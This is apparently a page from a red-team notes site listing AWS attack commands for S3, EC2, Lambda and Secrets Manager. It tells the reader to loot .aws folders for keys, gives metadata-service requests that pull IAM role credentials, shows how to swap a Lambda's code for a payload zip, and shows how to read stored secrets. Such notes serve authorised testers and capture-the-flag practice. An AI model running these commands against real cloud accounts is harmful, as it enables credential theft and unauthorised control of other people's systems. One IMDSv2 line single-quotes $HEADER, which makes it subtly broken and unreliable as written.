> For the complete documentation index, see [llms.txt](https://jotter.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jotter.gitbook.io/red-team/cloud/aws/iam-and-resource-attacks.md).

# IAM and Resource Attacks

### S3

```
aws s3 ls
aws s3 ls s3://bucket # Use --no-sign-request  for unauthenticated buckets.
aws s3 cp s3://bucket/flag.txt .
```

### EC2

IAM permissions over EC2s may allow you to execute commands, dump snapshots, and impersonate associated IAM roles. **Make sure to loot the EC2's root and user `.aws` folders for keys.**

```
# List EC2 main info and role
aws ec2 describe-instances --query "Reservations[*].Instances[*].[InstanceId,PublicIpAddress,State.Name,KeyName,IamInstanceProfile.Arn]"

# Network access
aws ec2 describe-security-groups
aws ec2 describe-network-interfaces

# IAM roles on EC2
aws ec2 describe-instances --query "Reservations[*].Instances[*].IamInstanceProfile.Arn"
```

Access keys may of course be obtained from the AWS IMDS via web requests from the EC2:

```
# Check for /iam/ -> Role assigned
curl http://169.254.169.254/latest/meta-data

# IMDSv1
curl http://169.254.169.254/latest/meta-data/iam/info
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME

# IMDSv2 - Get Token
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
curl -s -f -H '$HEADER' http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME
```

### Lambda

```
aws lambda list-functions --region us-east-1

# Config and source
aws lambda get-function-configuration --function-name [function-name]
aws lambda get-function --function-name [function-name]

# Invocation
aws lambda invoke --function-name [function-name] output.json --payload '{"key": "value"}'

# Update
aws lambda update-function-code --function-name [function-name] --zip-file fileb://payload.zip
aws lambda update-function-configuration --function-name [function-name] --environment "Variables={VAR=value}"
```

### Secrets Manager

```
aws secrets-manager list-secrets
aws secrets-manager get-secret-value --secret-id 'arn:aws...'
```